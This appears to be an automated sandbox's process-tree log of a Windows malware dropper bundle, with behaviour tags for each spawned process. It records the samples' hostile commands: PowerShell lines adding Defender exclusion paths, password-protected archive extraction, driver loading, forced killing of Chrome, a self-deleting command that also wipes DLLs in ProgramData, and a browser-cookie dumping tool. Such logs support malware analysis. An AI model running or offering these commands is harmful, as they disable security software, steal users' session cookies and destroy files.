-
C:\Users\Admin\AppData\Local\Temp\is-4047O.tmp\gnvcer1e1yf.tmp"C:\Users\Admin\AppData\Local\Temp\is-4047O.tmp\gnvcer1e1yf.tmp" /SL5="$202D8,413295,79360,C:\Users\Admin\AppData\Roaming\lo3gnosyrgq\gnvcer1e1yf.exe" /VERYSILENT /p=testparams10⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\eqsdfgqfqvx\app.exe"C:\Users\Admin\AppData\Local\Temp\eqsdfgqfqvx\app.exe" /8-238⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Falling-Dust"9⤵
- Drops file in System32 directory
-
-
C:\Program Files (x86)\Falling-Dust\7za.exe"C:\Program Files (x86)\Falling-Dust\7za.exe" e -p154.61.71.51 winamp-plugins.7z9⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Falling-Dust\app.exe" -map "C:\Program Files (x86)\Falling-Dust\WinmonProcessMonitor.sys""9⤵
-
C:\Program Files (x86)\Falling-Dust\app.exe"C:\Program Files (x86)\Falling-Dust\app.exe" -map "C:\Program Files (x86)\Falling-Dust\WinmonProcessMonitor.sys"10⤵
-
-
-
C:\Program Files (x86)\Falling-Dust\7za.exe"C:\Program Files (x86)\Falling-Dust\7za.exe" e -p154.61.71.51 winamp.7z9⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
-
-
C:\Program Files (x86)\Falling-Dust\app.exe"C:\Program Files (x86)\Falling-Dust\app.exe" /8-239⤵
-
C:\Program Files (x86)\Falling-Dust\app.exe"C:\Program Files (x86)\Falling-Dust\app.exe" /8-2310⤵
- Modifies data under HKEY_USERS
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a3rgvfhbby3\vpn.exe"C:\Users\Admin\AppData\Local\Temp\a3rgvfhbby3\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\whz50cqhbr0\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\whz50cqhbr0\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\ogoxz2hpn5l\vict.exe"C:\Users\Admin\AppData\Local\Temp\ogoxz2hpn5l\vict.exe" /VERYSILENT /id=5358⤵
-
C:\Users\Admin\AppData\Local\Temp\is-TRSGA.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-TRSGA.tmp\vict.tmp" /SL5="$50306,870426,780800,C:\Users\Admin\AppData\Local\Temp\ogoxz2hpn5l\vict.exe" /VERYSILENT /id=5359⤵
-
C:\Users\Admin\AppData\Local\Temp\is-IBL81.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-IBL81.tmp\wimapi.exe" 53510⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\qs5015mmmvk\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\qs5015mmmvk\askinstall24.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\x1ozhy00oux\cptx1whe4dx.exe"C:\Users\Admin\AppData\Local\Temp\x1ozhy00oux\cptx1whe4dx.exe" /ustwo INSTALL8⤵
-
-
C:\Users\Admin\AppData\Local\Temp\evvofaaukxa\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\evvofaaukxa\Setup3310.exe" /Verysilent /subid=5778⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CR2T5.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-CR2T5.tmp\Setup3310.tmp" /SL5="$30858,802346,56832,C:\Users\Admin\AppData\Local\Temp\evvofaaukxa\Setup3310.exe" /Verysilent /subid=5779⤵
-
C:\Users\Admin\AppData\Local\Temp\is-Q4H8M.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-Q4H8M.tmp\Setup.exe" /Verysilent10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-KHRGS.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-KHRGS.tmp\Setup.tmp" /SL5="$309EC,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-Q4H8M.tmp\Setup.exe" /Verysilent11⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\ProPlugin.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ICG3O.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-ICG3O.tmp\ProPlugin.tmp" /SL5="$C06B4,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\ProPlugin.exe" /Verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-UHUMT.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-UHUMT.tmp\Setup.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"15⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\PictureLAb.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JB85M.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-JB85M.tmp\PictureLAb.tmp" /SL5="$D06B4,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\PictureLAb.exe" /Verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3B1PO.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-3B1PO.tmp\Setup.exe" /VERYSILENT14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4I3ID.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-4I3ID.tmp\Setup.tmp" /SL5="$30AB0,442598,358912,C:\Users\Admin\AppData\Local\Temp\is-3B1PO.tmp\Setup.exe" /VERYSILENT15⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EEP4V.tmp\kkkk.exe"C:\Users\Admin\AppData\Local\Temp\is-EEP4V.tmp\kkkk.exe" /S /UID=lab21416⤵
-
C:\Users\Admin\AppData\Local\Temp\a6-2586f-c33-fc1b8-dd25c5e8ecc78\Nehaejyshyxu.exe"C:\Users\Admin\AppData\Local\Temp\a6-2586f-c33-fc1b8-dd25c5e8ecc78\Nehaejyshyxu.exe"17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fwtlxev2.b5m\GcleanerWW.exe /mixone & exit18⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\j3r4euiw.3nf\privacytools5.exe & exit18⤵
-
C:\Users\Admin\AppData\Local\Temp\j3r4euiw.3nf\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\j3r4euiw.3nf\privacytools5.exe19⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\j3r4euiw.3nf\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\j3r4euiw.3nf\privacytools5.exe20⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g5j0j1f2.bel\setup.exe /8-2222 & exit18⤵
-
C:\Users\Admin\AppData\Local\Temp\g5j0j1f2.bel\setup.exeC:\Users\Admin\AppData\Local\Temp\g5j0j1f2.bel\setup.exe /8-222219⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Still-Star"20⤵
-
-
C:\Program Files (x86)\Still-Star\7za.exe"C:\Program Files (x86)\Still-Star\7za.exe" e -p154.61.71.51 winamp-plugins.7z20⤵
- Drops file in Program Files directory
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Still-Star\setup.exe" -map "C:\Program Files (x86)\Still-Star\WinmonProcessMonitor.sys""20⤵
-
C:\Program Files (x86)\Still-Star\setup.exe"C:\Program Files (x86)\Still-Star\setup.exe" -map "C:\Program Files (x86)\Still-Star\WinmonProcessMonitor.sys"21⤵
- Drops file in Program Files directory
- Suspicious behavior: LoadsDriver
-
-
-
C:\Program Files (x86)\Still-Star\7za.exe"C:\Program Files (x86)\Still-Star\7za.exe" e -p154.61.71.51 winamp.7z20⤵
-
-
C:\Program Files (x86)\Still-Star\setup.exe"C:\Program Files (x86)\Still-Star\setup.exe" /8-222220⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ree2jnrb.ucu\MultitimerFour.exe & exit18⤵
-
C:\Users\Admin\AppData\Local\Temp\ree2jnrb.ucu\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\ree2jnrb.ucu\MultitimerFour.exe19⤵
-
C:\Users\Admin\AppData\Local\Temp\IT6DTCHC5F\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\IT6DTCHC5F\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10420⤵
-
C:\Users\Admin\AppData\Local\Temp\IT6DTCHC5F\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\IT6DTCHC5F\multitimer.exe" 1 3.1615070480.60440510c2acb 10421⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IT6DTCHC5F\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\IT6DTCHC5F\multitimer.exe" 2 3.1615070480.60440510c2acb22⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Drops file in Windows directory
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\hfi0mhvyj3t\vict.exe"C:\Users\Admin\AppData\Local\Temp\hfi0mhvyj3t\vict.exe" /VERYSILENT /id=53523⤵
-
C:\Users\Admin\AppData\Local\Temp\is-049G6.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-049G6.tmp\vict.tmp" /SL5="$30C12,870426,780800,C:\Users\Admin\AppData\Local\Temp\hfi0mhvyj3t\vict.exe" /VERYSILENT /id=53524⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PIU9V.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-PIU9V.tmp\wimapi.exe" 53525⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4pmiv2pna5l\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\4pmiv2pna5l\askinstall24.exe"23⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe24⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe25⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wnuzcqvyuc5\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\wnuzcqvyuc5\Setup3310.exe" /Verysilent /subid=57723⤵
-
C:\Users\Admin\AppData\Local\Temp\is-MLH0V.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-MLH0V.tmp\Setup3310.tmp" /SL5="$A09EA,802346,56832,C:\Users\Admin\AppData\Local\Temp\wnuzcqvyuc5\Setup3310.exe" /Verysilent /subid=57724⤵
-
C:\Users\Admin\AppData\Local\Temp\is-KVA0M.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-KVA0M.tmp\Setup.exe" /Verysilent25⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3L4LJ.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-3L4LJ.tmp\Setup.tmp" /SL5="$30CD4,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-KVA0M.tmp\Setup.exe" /Verysilent26⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\ProPlugin.exe" /Verysilent27⤵
-
C:\Users\Admin\AppData\Local\Temp\is-35JGR.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-35JGR.tmp\ProPlugin.tmp" /SL5="$20B92,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\ProPlugin.exe" /Verysilent28⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4O9PD.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-4O9PD.tmp\Setup.exe"29⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"30⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\PictureLAb.exe" /Verysilent27⤵
-
C:\Users\Admin\AppData\Local\Temp\is-B92T5.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-B92T5.tmp\PictureLAb.tmp" /SL5="$30B92,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\PictureLAb.exe" /Verysilent28⤵
-
C:\Users\Admin\AppData\Local\Temp\is-BPN5C.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-BPN5C.tmp\Setup.exe" /VERYSILENT29⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PAQHK.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-PAQHK.tmp\Setup.tmp" /SL5="$30610,442598,358912,C:\Users\Admin\AppData\Local\Temp\is-BPN5C.tmp\Setup.exe" /VERYSILENT30⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2QAK5.tmp\kkkk.exe"C:\Users\Admin\AppData\Local\Temp\is-2QAK5.tmp\kkkk.exe" /S /UID=lab21431⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\ab-1f1a0-826-f989c-5b746ab02aa7a\Manezhebecy.exe"C:\Users\Admin\AppData\Local\Temp\ab-1f1a0-826-f989c-5b746ab02aa7a\Manezhebecy.exe"32⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rl2ubuze.chx\GcleanerWW.exe /mixone & exit33⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mgh0raac.dbw\privacytools5.exe & exit33⤵
-
C:\Users\Admin\AppData\Local\Temp\mgh0raac.dbw\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\mgh0raac.dbw\privacytools5.exe34⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\mgh0raac.dbw\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\mgh0raac.dbw\privacytools5.exe35⤵
- Checks SCSI registry key(s)
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qvzkj5jz.pdx\setup.exe /8-2222 & exit33⤵
-
C:\Users\Admin\AppData\Local\Temp\qvzkj5jz.pdx\setup.exeC:\Users\Admin\AppData\Local\Temp\qvzkj5jz.pdx\setup.exe /8-222234⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Small-Hill"35⤵
-
-
C:\Program Files (x86)\Small-Hill\7za.exe"C:\Program Files (x86)\Small-Hill\7za.exe" e -p154.61.71.51 winamp-plugins.7z35⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Small-Hill\setup.exe" -map "C:\Program Files (x86)\Small-Hill\WinmonProcessMonitor.sys""35⤵
-
C:\Program Files (x86)\Small-Hill\setup.exe"C:\Program Files (x86)\Small-Hill\setup.exe" -map "C:\Program Files (x86)\Small-Hill\WinmonProcessMonitor.sys"36⤵
- Suspicious behavior: LoadsDriver
-
-
-
C:\Program Files (x86)\Small-Hill\7za.exe"C:\Program Files (x86)\Small-Hill\7za.exe" e -p154.61.71.51 winamp.7z35⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lp3ruxsq.ruq\MultitimerFour.exe & exit33⤵
-
C:\Users\Admin\AppData\Local\Temp\lp3ruxsq.ruq\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\lp3ruxsq.ruq\MultitimerFour.exe34⤵
-
C:\Users\Admin\AppData\Local\Temp\I79DFDO5QA\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\I79DFDO5QA\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10435⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\I79DFDO5QA\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\I79DFDO5QA\multitimer.exe" 1 3.1615070703.604405ef2d691 10436⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\I79DFDO5QA\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\I79DFDO5QA\multitimer.exe" 2 3.1615070703.604405ef2d69137⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\Delta.exe" /Verysilent27⤵
-
C:\Users\Admin\AppData\Local\Temp\is-U55RO.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-U55RO.tmp\Delta.tmp" /SL5="$3060C,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\Delta.exe" /Verysilent28⤵
-
C:\Users\Admin\AppData\Local\Temp\is-95EEO.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-95EEO.tmp\Setup.exe" /VERYSILENT29⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-95EEO.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit30⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f31⤵
- Kills process with taskkill
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\zznote.exe" /Verysilent27⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RC11R.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-RC11R.tmp\zznote.tmp" /SL5="$70DC8,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\zznote.exe" /Verysilent28⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7JBDH.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-7JBDH.tmp\jg4_4jaa.exe" /silent29⤵
- Checks whether UAC is enabled
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-K3KPQ.tmp\hjjgaa.exe" /Verysilent27⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt28⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt28⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3wenlxcvdil\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\3wenlxcvdil\chashepro3.exe" /VERYSILENT23⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2KPK0.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-2KPK0.tmp\chashepro3.tmp" /SL5="$D0174,2012497,58368,C:\Users\Admin\AppData\Local\Temp\3wenlxcvdil\chashepro3.exe" /VERYSILENT24⤵
- Drops file in Program Files directory
-
-
-
C:\Users\Admin\AppData\Local\Temp\p0s5isq3nqf\pyf0do5n1na.exe"C:\Users\Admin\AppData\Local\Temp\p0s5isq3nqf\pyf0do5n1na.exe" /ustwo INSTALL23⤵
-
-
C:\Users\Admin\AppData\Local\Temp\za50f2geohu\app.exe"C:\Users\Admin\AppData\Local\Temp\za50f2geohu\app.exe" /8-2323⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Morning-Thunder"24⤵
-
-
C:\Program Files (x86)\Morning-Thunder\7za.exe"C:\Program Files (x86)\Morning-Thunder\7za.exe" e -p154.61.71.51 winamp-plugins.7z24⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Morning-Thunder\app.exe" -map "C:\Program Files (x86)\Morning-Thunder\WinmonProcessMonitor.sys""24⤵
-
C:\Program Files (x86)\Morning-Thunder\app.exe"C:\Program Files (x86)\Morning-Thunder\app.exe" -map "C:\Program Files (x86)\Morning-Thunder\WinmonProcessMonitor.sys"25⤵
- Drops file in Program Files directory
- Suspicious behavior: LoadsDriver
-
-
-
C:\Program Files (x86)\Morning-Thunder\7za.exe"C:\Program Files (x86)\Morning-Thunder\7za.exe" e -p154.61.71.51 winamp.7z24⤵
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\Morning-Thunder\app.exe"C:\Program Files (x86)\Morning-Thunder\app.exe" /8-2324⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\Delta.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N09GL.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-N09GL.tmp\Delta.tmp" /SL5="$60AA6,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\Delta.exe" /Verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-9P3LJ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-9P3LJ.tmp\Setup.exe" /VERYSILENT14⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-9P3LJ.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit15⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f16⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 616⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\zznote.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FTIOL.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-FTIOL.tmp\zznote.tmp" /SL5="$80AA6,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\zznote.exe" /Verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2MPLH.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-2MPLH.tmp\jg4_4jaa.exe" /silent14⤵
- Checks whether UAC is enabled
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-H84O6.tmp\hjjgaa.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1gqay345ekk\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\1gqay345ekk\chashepro3.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-I1HEJ.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-I1HEJ.tmp\chashepro3.tmp" /SL5="$10A0E,2012497,58368,C:\Users\Admin\AppData\Local\Temp\1gqay345ekk\chashepro3.exe" /VERYSILENT9⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\hhspkddieh1\app.exe"C:\Users\Admin\AppData\Local\Temp\hhspkddieh1\app.exe" /8-238⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Old-Lake"9⤵
-
-
C:\Program Files (x86)\Old-Lake\7za.exe"C:\Program Files (x86)\Old-Lake\7za.exe" e -p154.61.71.51 winamp-plugins.7z9⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Old-Lake\app.exe" -map "C:\Program Files (x86)\Old-Lake\WinmonProcessMonitor.sys""9⤵
-
C:\Program Files (x86)\Old-Lake\app.exe"C:\Program Files (x86)\Old-Lake\app.exe" -map "C:\Program Files (x86)\Old-Lake\WinmonProcessMonitor.sys"10⤵
- Suspicious behavior: LoadsDriver
-
-
-
C:\Program Files (x86)\Old-Lake\7za.exe"C:\Program Files (x86)\Old-Lake\7za.exe" e -p154.61.71.51 winamp.7z9⤵
-
-
C:\Program Files (x86)\Old-Lake\app.exe"C:\Program Files (x86)\Old-Lake\app.exe" /8-239⤵
-
C:\Program Files (x86)\Old-Lake\app.exe"C:\Program Files (x86)\Old-Lake\app.exe" /8-2310⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\xyz1uvbwabc\vict.exe"C:\Users\Admin\AppData\Local\Temp\xyz1uvbwabc\vict.exe" /VERYSILENT /id=5358⤵
-
C:\Users\Admin\AppData\Local\Temp\is-9VMP2.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-9VMP2.tmp\vict.tmp" /SL5="$9038A,870426,780800,C:\Users\Admin\AppData\Local\Temp\xyz1uvbwabc\vict.exe" /VERYSILENT /id=5359⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RT8HF.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-RT8HF.tmp\wimapi.exe" 53510⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kw13zncd3kf\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\kw13zncd3kf\Setup3310.exe" /Verysilent /subid=5778⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3BBO5.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-3BBO5.tmp\Setup3310.tmp" /SL5="$80C70,802346,56832,C:\Users\Admin\AppData\Local\Temp\kw13zncd3kf\Setup3310.exe" /Verysilent /subid=5779⤵
-
C:\Users\Admin\AppData\Local\Temp\is-T5GEP.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-T5GEP.tmp\Setup.exe" /Verysilent10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SELSG.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-SELSG.tmp\Setup.tmp" /SL5="$405A6,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-T5GEP.tmp\Setup.exe" /Verysilent11⤵
- Drops file in Windows directory
-
